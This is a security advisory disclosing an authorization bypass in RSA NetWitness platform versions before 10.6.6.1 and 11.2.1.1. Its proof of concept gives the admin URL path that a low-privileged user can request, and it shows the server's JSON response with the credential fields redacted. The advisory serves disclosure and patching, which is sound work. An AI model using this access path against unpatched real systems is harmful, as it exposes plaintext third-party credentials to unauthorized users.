Vendor Description
“RSA provides more than 30,000 customers around the world with the essential security capabilities to protect their most valuable assets from cyber threats. With RSA’s award-winning products, organizations effectively detect, investigate, and respond to advanced attacks; confirm and manage identities; and ultimately, reduce IP theft, fraud, and cybercrime.”
Source: https://www.rsa.com/en-us/company/about
Business Recommendation
By exploiting the vulnerability documented in this advisory an unauthorized attacker can access an administrative resource that may contain plain text credentials to a 3rd party system.
The vendor provides a patch which should be installed on affected systems.
Vulnerability Overview/ Description
The authorization mechanism provided by the platform is prone to an authorization bypass vulnerability, which can be easily exploited by authenticated (but low privileged) remote attackers for gaining access to administrative information including plaintext passwords.
Proof Of Concept
A logged-in low privileged user (e.g. with role Analyst) is able to access an administrative resource by calling the following URL:
[host]/admin/system/whois/properties
After the above URL is accessed, the server returns the following HTTP response that contains sensitive information to a 3rd party whois service including plaintext passwords:
HTTP/1.1 200 OK Server: nginx Date: [snip] Content-Type: application/json;charset=UTF-8 Connection: close X-Frame-Options: SAMEORIGIN Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 ; includeSubDomains X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Set-Cookie: [snip] Content-Length: 795 {"success":true,"data":{"queryUrl":"https://[snip]","authUrl":"https://[snip]","userId":"[snip]","pw":"[snip]","allowedRequests":100,"allowedRequestsInterval":60,"queueMaxSize":100000,"cacheMaxSize":50000,"refreshInterval":30,"waitForHttpRequests":true,"settings":{"query-url":"https://[snip]","queue-max-size":100000,"password":"[snip]","allowed-requests":100,"auth-url":"https://[snip]","user-id":"[snip]","refresh-interval-seconds":{"seconds":2592000,"milliSeconds":2592000000},"cache-max-size":50000,"wait-for-http-request":true,"allowed-requests-interval-seconds":{"seconds":60,"milliSeconds":60000}}}}
Vulnerable / Tested Versions
The identified vulnerability has been verified to exist in the RSA NetWitness platform, version 11.1.0.1.
According to the vendor, platform version 10 is also affected.
The following versions are vulnerable:
- < 10.6.6.1
- < 11.2.1.1